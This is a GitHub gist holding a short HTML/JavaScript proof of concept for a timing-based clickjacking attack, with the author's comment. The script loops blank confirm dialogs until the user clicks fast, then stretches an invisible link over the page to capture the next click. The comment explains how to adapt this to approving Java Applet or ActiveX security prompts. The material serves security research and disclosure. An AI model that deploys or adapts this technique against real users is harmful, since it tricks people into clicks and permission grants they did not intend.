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bcoles/fast_clicks_poc.html

Created January 19, 2011 11:22
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This script is a Proof of Concept for a timing-attack variation of UI Redressing / click-jacking. It is designed to entice the user into clicking rapidly in a certain location.
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fast_clicks_poc.html
<html><head><script type="text/javascript">
/* This script is a Proof of Concept for a timing-attack variation of UI
Redressing / click-jacking. It is designed to entice the user into clicking
rapidly in a certain location. */
function fast_clicks() {
var tStart;
var tDate;
var tDiff;
var answer;
var fast_clicks = 0;
// Hide overflow and set anchor background color
document.body.style.overflow = "hidden";
document.getElementById("x").style.backgroundColor=document.body.style.backgroundColor;
// Loop until the user clicks twice in a row at <400ms
while (fast_clicks < 2) {
tStart = new Date();
answer = confirm("");
tDate = new Date();
tDiff = tDate.getTime() - tStart.getTime();
tDate.setTime(tDiff);
if (tDate.getTime() < 400) fast_clicks++; else fast_clicks=0;
}
// Expand the anchor over the entire page
document.getElementById("x").style.width=screen.width;
document.getElementById("x").style.height=screen.height;
// Hide after 500ms
setTimeout('document.getElementById("x").style.display="none";', 700);
}
</script></head><body onload="fast_clicks();">
<p>Hello World</p>
<a id="x" style="text-decoration:none;padding:0;margin:0;border:0;display:block" href="http://irc.austnet.org:6667/" onclick="this.style.display='none'">&nbsp;</a>
</body></html>
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bcoles commented Jan 20, 2011

This proof of concept script is designed to demonstrate yet another method of tricking a user into clicking on a certain location. It is useless to an attacker verbatim. The same results could be achieved with window.location in JavaScript or a myriad of HTML tags such as script, style, iframe.

In the wild, rather than an anchor tag, the user would be more likely to click an invisible iframe or perhaps blindly click through the "Allow" button for a Java Applet - or an ActiveX control if they're running IE <= 7. This would require precise positioning of the confirm("") dialog box by altering the length of the text. Alternatively, some browsers pop security dialogs in the center of the screen, unlike JavaScript which pops dialogs to the center of the browser. This may be (ab)used to position the "OK" button over where the "Allow" button for a Java Applet will appear by first resizing the window.

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